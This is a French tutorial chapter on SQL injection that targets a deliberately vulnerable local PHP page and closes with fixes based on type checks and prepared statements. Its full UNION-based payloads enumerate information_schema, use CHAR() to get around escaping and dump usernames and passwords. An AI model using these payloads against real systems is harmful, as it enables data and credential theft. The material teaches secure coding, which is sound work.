Licence CC BY

Affichage d'enregistrements

Notre objectif, si nous l'acceptons, sera d'afficher la liste des utilisateurs ainsi que leur mot de passe.

Voici le fichier dont vous aurez besoin pour cette partie :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
    // code source de articles.php
    $host = "localhost";
    $user_mysql = "root";               // nom d'utilisateur de l'utilisateur de MySQL 
    $password_mysql = "";     // mot de passe de l'utilisateur de MySQL
    $database = "zds_injections_sql";

    $db = mysqli_connect($host, $user_mysql, $password_mysql, $database);
    mysqli_set_charset($db, "utf8");
?> 

<!DOCTYPE>
<html>
    <head>
        <title></title>
    </head>
    <body>
        <?php
            if(!empty($_GET['category']))
            {
                $category = mysqli_real_escape_string($db, $_GET['category']);
                $query = "SELECT id, title, DATE_FORMAT(date, '%d/%m/%Y') AS date FROM articles WHERE category_id = ".$category;
                $rs_articles = mysqli_query($db, $query);

                echo "<u>\n";

                if(mysqli_num_rows($rs_articles) > 0)
                {
                    while($r = mysqli_fetch_assoc($rs_articles))
                    {
                        echo "<li><a href=\"#\">".htmlspecialchars($r['title'])." - ".$r['date']."</a></li>\n";
                    }
                }

                echo "</u>\n";
            }
        ?>
    </body>
</html>

Contenu de articles.php

Ce code affiche les articles de la catégorie transmise par la variable category présente dans l'URL.

Exploitation

Détecter la possibilité d'injection

Le but, ici, est de parvenir à afficher des données provenant d'une autre table (voir d'une autre base de données présente sur le même serveur).

Commençons déjà par vérifier si une injection est possible.

Ici, nous avons le cas d'un ID certes échappé, mais qui n'est pas considéré comme une chaîne de caractères : il n'y a alors pas besoin de chercher à fermer cette chaîne, donc tout ce qui suit cet ID sera interprété comme du code SQL par le SGBD. Nous pouvons donc bien injecter du code SQL, la seule contrainte étant de ne pas utiliser de guillemet dans l'injection car celui-ci serait échappé.

Pour s'en assurer, un exemple très simple est d'effectuer une simple opération arithmétique.

http://localhost/zds/injections_sql/articles.php?category=2-1

1
SELECT id, title, DATE_FORMAT(date, '%d/%m/%Y') AS date FROM articles WHERE category_id = 2-1

Comme nous le constatons, les articles affichés viennent de la catégorie 1 car 2-1 = 1. Cela signifie que notre opération a été prise en compte, ce qui n'aurait pas été le cas si cela avait été une chaîne de caractères (un AND 1=1 suivi d'un AND 1=2 marcheraient aussi, il y a énormément de façons de détecter si l'injection est possible).

Effectuer une seconde requête et joindre les résultats

Notre objectif est donc d'afficher des données provenant d'autres tables (que pour l'instant nous ne connaissons pas !).

Pour parvenir à cela, nous allons utiliser un concept permettant de mettre ensemble des résultats de 2 requêtes différentes : UNION.

Il y a, par contre, une condition capitale pour qu'on puisse utiliser cette fonctionnalité : les 2 requêtes doivent renvoyer le même nombre de champs, mais ce détail n'est absolument pas un problème comme nous allons le voir. ;-)

Trouver le nombre de champs

La première chose à faire est donc de déterminer le nombre de champs que la requête renvoie (car nous ne connaissons pas la structure de la requête). Pour ce faire nous utiliserons ORDER BY.

ORDER BY permet de trier le résultat en précisant le(s) champ(s) ainsi que l'ordre (croissant ou décroissant). Mais ORDER BY peut également trier en se référant à la position du champ dans la requête. Si ce champ n'existe pas, la requête renverra une erreur et c'est exactement de cette manière que nous pouvons déterminer le nombre de champs : tant que le ORDER BY ne renvoie pas d'erreur, nous savons qu'il y a au moins X champs.

Dans notre cas testons avec 2 champs.

http://localhost/zds/injections_sql/articles.php?category=1 ORDER BY 2

1
SELECT id, title, DATE_FORMAT(date, '%d/%m/%Y') AS date FROM articles WHERE category_id = 1 ORDER BY 2

Nous obtenons bien notre liste d'articles donc la requête renvoie au moins 2 champs.

Testons avec 3.

http://localhost/zds/injections_sql/articles.php?category=1 ORDER BY 3

Même chose, donc il y a au moins 3 champs.

Avec 4 maintenant : http://localhost/zds/injections_sql/articles.php?category=1 ORDER BY 4

Ah, une erreur ! Il y a au moins 3 champs mais pas 4 : on peut en déduire que le nombre de champs renvoyés est de 3. Il faut donc que la requête que nous ferons après le mot UNION comporte très exactement 3 champs.

Testons pour être sûr.

http://localhost/zds/injections_sql/articles.php?category=1 UNION SELECT 1, 2, 3

1
2
3
4
5
SELECT id, title, DATE_FORMAT(date, '%d/%m/%Y') AS date 
FROM articles 
WHERE category_id = 1 
UNION 
SELECT 1, 2, 3

Peut être vous demanderez-vous ce que sont que ces valeurs 1, 2 et 3. Il faut comprendre que le nom du champ n'est qu'un raccourci pour dire : « Sélectionne la valeur contenue dans ce champ pointé par ce nom. », mais qu'on peut très bien directement dire « Sélectionne telle valeur. » sans devoir forcément passer par le nom du champ. La seule contrainte est que, si c'est une chaîne de caractères, nous devons la placer entre guillemets, sinon vous obtiendrez une erreur comme quoi le champ est introuvable. Malheureusement, dans notre cas, je vous rappelle que l'ID est échappé : utiliser une chaîne de caractère revient à utiliser des guillemets qui seront échappés et qui feront, par conséquent, échouer notre requête (même si nous verrons plus tard qu'on peut contourner ce problème malgré tout). Il faut donc trouver un moyen de s'en passer. Il se trouve qu'il y en a un, et que celui-ci est simple : on peut également sélectionner un nombre quelconque… et un nombre n'a pas besoin de guillemets !

Le dernier affichage devrait vous interpeller : en fait il s'agit du résultat de notre seconde requête qui ne fait que sélectionner 3 valeurs : 1, 2 et 3. En voyant les nombres affichés, on peut en déduire que la page affiche les champs situés aux seconde et troisième positions (je précise que le nombre et la position de la valeur dans la requête n'ont aucun lien, j'aurais très bien pu utiliser 43, 87, 562 comme nombres).

Trouver la base de donnée utilisée

Maintenant il nous faudrait savoir ce que nous voulons afficher. On peut tenter de deviner le nom d'une table mais cela est beaucoup trop hasardeux. L'idéal serait de connaître la liste des tables. Et devinez quoi ? C'est tout à fait possible ! :D

Si vous avez déjà géré des bases de données, vous avez probablement remarqué qu'il y en a une nommée information_schema. Cette base de données contient, en fait, toutes les informations relatives aux « structures » (aussi appelées « schémas ») des autres bases. Et qui dit schéma dit noms des tables et des champs qu'elles contiennent ! ;-)

Seulement, si nous demandons la liste des tables, information_schema va nous renvoyer la liste des tables… de toutes les bases de données. Ca fait un peu beaucoup ! Pour bien faire, il faudrait ne renvoyer que les tables de la base de données actuellement utilisée (dont on ignore toujours le nom). Pas de problème : database() nous renvoie justement cette information.

Pour connaître la base de données actuellement utilisée, nous pouvons faire la requête suivante : http://localhost/zds/injections_sql/articles.php?category=-1 UNION SELECT 1, database(), 3.

1
2
3
4
5
SELECT id, title, DATE_FORMAT(date, '%d/%m/%Y') AS date 
FROM articles 
WHERE category_id = -1 
UNION 
SELECT 1, database(), 3

Hé mais, ce ne serait pas le nom de notre base de données par hasard ? ^^

Je ne sais pas si vous l'avez remarqué mais c'est bien category=-1. Le but est de n'obtenir aucun résultat pour la première requête afin de n'avoir au final que les résultats concernant la requête que nous injectons et pas un mélange des 2.

Ça ne serait pas faux d'avoir ce mélange, mais ça serait juste beaucoup moins lisible, surtout si la liste des articles était très longue.

Trouver la liste des tables

Bon, nous connaissons la base de données actuelle, mais nous, on veut afficher des champs d'une table… dont on ne connaît pas (encore) le nom. C'est ce que nous allons rechercher maintenant : le nom des tables. Et c'est là que notre fameuse base de données information_schema entre en jeu !

La table TABLES (j'y peux rien, c'est son nom) de la base de données information_schema contient la liste des tables utilisées par l'ensemble des autres base de données. Un champ nommé TABLE_SCHEMA précise à quelle base de données se rapporte la table. Nous allons donc sélectionner toutes les tables dont le champ TABLE_SCHEMA est égal à zds_sql_injections (sinon on obtiendrait la liste de toutes les tables de toutes les bases de données).

Mais il y a un pépin : zds_sql_injections c'est une chaîne de caractères et notre ID… est échappé. Pourtant il faudra bien rentrer cette chaîne, plus question ici de rentrer un nombre.

Eh bien vous savez quoi ? Là aussi, il y a une solution ! :D

Le SQL regorge de fonctions diverses et variées et certaines vont nous être très utile pour régler notre petit soucis, comme par exemple la fonction CHAR() qui permet de retourner le(s) caractère(s) correspondant(s) au(x) nombre(s) qu'on lui fournit (vous pouvez retrouver ces nombres dans la colonne décimale d'une table ASCII). Notez que ce n'est pas le seul moyen d'introduire une chaîne sans avoir recours à des guillemets, nous en verrons un autre dans les prochains chapitres.

Cette requête ci : http://localhost/zds/injections_sql/articles.php?category=-1 UNION SELECT 1, TABLE_NAME, 3 FROM information_schema.TABLES WHERE TABLE_SCHEMA = CHAR(122,100,115,95,105,110,106,101,99,116,105,111,110,115,95,115,113,108).

1
2
3
4
5
6
7
SELECT id, title, DATE_FORMAT(date, '%d/%m/%Y') AS date 
FROM articles 
WHERE category_id = -1 
UNION 
SELECT 1, TABLE_NAME, 3 
FROM information_schema.TABLES 
WHERE TABLE_SCHEMA = CHAR(122,100,115,95,105,110,106,101,99,116,105,111,110,115,95,115,113,108)

est tout à fait équivalente à celle-ci : http://localhost/zds/injections_sql/articles.php?category=-1 UNION SELECT 1, TABLE_NAME, 3 FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'zds_injections_sql'.

1
2
3
4
5
6
7
SELECT id, title, DATE_FORMAT(date, '%d/%m/%Y') AS date 
FROM articles 
WHERE category_id = -1 
UNION 
SELECT 1, TABLE_NAME, 3 
FROM information_schema.TABLES 
WHERE TABLE_SCHEMA = 'zds_injections_sql'

La première n'utilisant aucun guillemet, elle outrepasse sans problème l'échappement ! ^^

Voilà : nous avons notre liste de tables ! :P

La liste des champs d'une table

Nous ne sommes vraiment plus très loin de notre objectif, il ne nous reste qu'une dernière chose à connaître : la liste des champs de la table qui va nous intéresser (dans notre cas : la table users) parce que c'est bien beau d'afficher des nombres. Mais nous, ce que nous voulons surtout, c'est afficher la valeur des champs qu'on estimerait « sensibles » (dans cet exemple : les nom d'utilisateur et mots de passe).

Pour ce faire, nous utiliserons le même principe que ci-dessus mais sur la tables COLUMNS qui, comme son nom l'indique, liste tous les champs (aussi appelés « colonnes ») de toutes les tables.

3 champs sont intéressants :

  • COLUMN_NAME qui désigne le nom du champ.
  • TABLE_SCHEMA qui désigne le nom de la base de données.
  • TABLE_NAME pour le nom de la table (car il peut y avoir une table portant le même nom dans 2 bases de données différentes).

Notre requête demandera donc d'afficher le nom des champs (contenus eux même dans un champ ! :P ) où TABLE_SCHEMA sera égal à zds_injections_sql et où TABLE_NAME sera égal à users. Le tout sera passé via la fonction CHAR() pour éviter de devoir utiliser des guillemets.

Ce qui donnera ceci :

http://localhost/zds/injections_sql/articles.php?category=-1 UNION SELECT 1, COLUMN_NAME, 3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = CHAR(122,100,115,95,105,110,106,101,99,116,105,111,110,115,95,115,113,108) AND TABLE_NAME = CHAR(117,115,101,114,115)

1
2
3
4
5
6
7
8
SELECT id, title, DATE_FORMAT(date, '%d/%m/%Y') AS date 
FROM articles 
WHERE category_id = -1 
UNION 
SELECT 1, COLUMN_NAME, 3 
FROM information_schema.COLUMNS 
WHERE TABLE_SCHEMA = CHAR(122,100,115,95,105,110,106,101,99,116,105,111,110,115,95,115,113,108) 
AND TABLE_NAME = CHAR(117,115,101,114,115)

L'adrénaline devrait commencer à monter ! ^^

Le bouquet final : l'affichage des utilisateurs

On connaît la table, on connaît les noms des champs, le nombre de champs à utiliser dans la seconde requête : je pense qu'il est enfin temps d'achever cette exploitation.

Comme 2 champs sont affichés, autant en profiter pour demander l'affichage du nom d'utilisateur et du mot de passe. Mais même si nous n'en n'avions qu'un seul, nous aurions pu utiliser une fonction comme CONCAT(), qui permet de concaténer en un seul champ plusieurs données (je vous l'ai dit, le SQL regorge de fonctions !).

Notre requête finale sera :

http://localhost/zds/injections_sql/articles.php?category=-1 UNION SELECT 1, username, password FROM users

1
2
3
4
5
6
SELECT id, title, DATE_FORMAT(date, '%d/%m/%Y') AS date
FROM articles
WHERE category_id = -1
UNION 
SELECT 1, username, password
FROM users

Jackpot ! :D

Sécurisation

C'était marrant sur ce site bidon, mais ça l'est beaucoup moins quand ce genre de choses arrive sur votre propre site. À noter également que ce type d'injection peut être une porte ouverte vers d'autres failles (on pourrait tout à fait, par exemple, demander d'afficher du code JavaScript au lieu de données provenant de la base de données, code qui serait interprété par le navigateur et on aurait alors droit à une jolie faille XSS). Les possibilités sont très nombreuses et nous en aborderons une dans un prochain chapitre.

Le problème ici c'est que nous ne faisons aucune vérification sur la variable category. Enfin, si : on l'échappe, certes, mais vu que nous l'utilisons comme un nombre dans notre requête, l'échappement ne nous en protège absolument pas.

Pour réellement éviter on peut, par exemple, vérifier que cette variable est bien un nombre. Des fonctions telles que ctype_digit permettent cela. ctype_digit vérifie que chaque caractère est bien un chiffre.

Ce qui donnerait ceci :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?php
if(ctype_digit($_GET['category']))
{
    // L'ID est bien un nombre : on peut faire notre requête
}
else
{
    // L'ID n'est pas un nombre : on affiche un message d'erreur
}
?>

is_numeric vérifie aussi qu'il s'agit d'un nombre, mais accepte d'autres notations que le décimal.

On peut aussi traiter notre ID comme une chaîne de caractères dans la requête (apparemment, possible uniquement sous MySQL) : le pirate se verra alors obligé de fermer cette chaîne s'il veut que ça soit interprété comme du SQL… mais vu que notre ID est échappé, ça lui sera impossible. ;-)

1
2
3
4
<?php
$category = mysqli_real_escape_string($db, $_GET['category']);
$query = "SELECT id, title, DATE_FORMAT(date, '%d/%m/%Y') AS date FROM articles WHERE category_id = '".$category."'";
?>

ou si vous utilisez la préparation de requête (ce que je recommande) :

Exemple avec PDO :

1
2
3
4
5
6
<?php
$category = $_GET['category'];
$query = $db->prepare("SELECT id, title, DATE_FORMAT(date, '%d/%m/%Y') AS date FROM articles WHERE category_id = :id");
$query->bindParam(':id', $category, PDO::PARAM_INT);
$query->execute();
?>

Essayez de nouveau les différentes injections, vous verrez que ça ne fonctionne plus. ;-)

Les chapitres suivants ne comporteront pas, sauf nouveauté, de partie « Sécurisation » afin d'éviter une redondance des propos. Il n'empêche que ce que nous venons de voir (préparation des requêtes, échappement des chaînes de caractères, vérification du type, etc…) reste, bien entendu, d'application pour la suite.


Cet exemple est également un cas classique et montre qu'on peut tout à fait extirper des données qui ne devrait logiquement pas être affichées.

De plus, dans ce cas, nous avions un « semblant » de protection… qui en réalité était tout à fait contournable et ne protégeait, au final, rien du tout. ;-)